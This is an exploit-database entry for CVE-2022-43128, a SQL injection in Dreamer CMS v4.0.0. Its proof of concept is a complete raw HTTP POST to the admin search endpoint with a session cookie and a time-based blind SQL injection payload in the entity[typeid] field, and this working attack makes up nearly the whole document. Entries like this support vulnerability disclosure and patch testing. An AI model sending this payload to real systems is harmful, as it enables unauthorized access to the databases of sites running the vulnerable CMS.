# Exploit Title: Dreamer CMS v4.0.0 - SQL Injection
# Date: 2022/10/02 
# Exploit Author: lvren
# Vendor Homepage: http://cms.iteachyou.cc/
# Software Link: https://gitee.com/isoftforce/dreamer_cms/repository/archive/v4.0.0.zip 
# Version: v4.0.0 
# CVE: CVE-2022-43128

Proof Of Concept:

POST /admin/search/doSearch HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Origin: http://localhost:8888
Connection: close
Referer: http://localhost:8888/admin/search/doSearch
Cookie: dreamer-cms-s=6387e44f-e700-462d-bba5-d4e0ffff5739
Upgrade-Insecure-Requests: 1

entity[typeid']=1) AND (SELECT 2904 FROM (SELECT(SLEEP(5)))TdVL) AND (5386=5386



lvren
lvren@lvre.ntesmail.com

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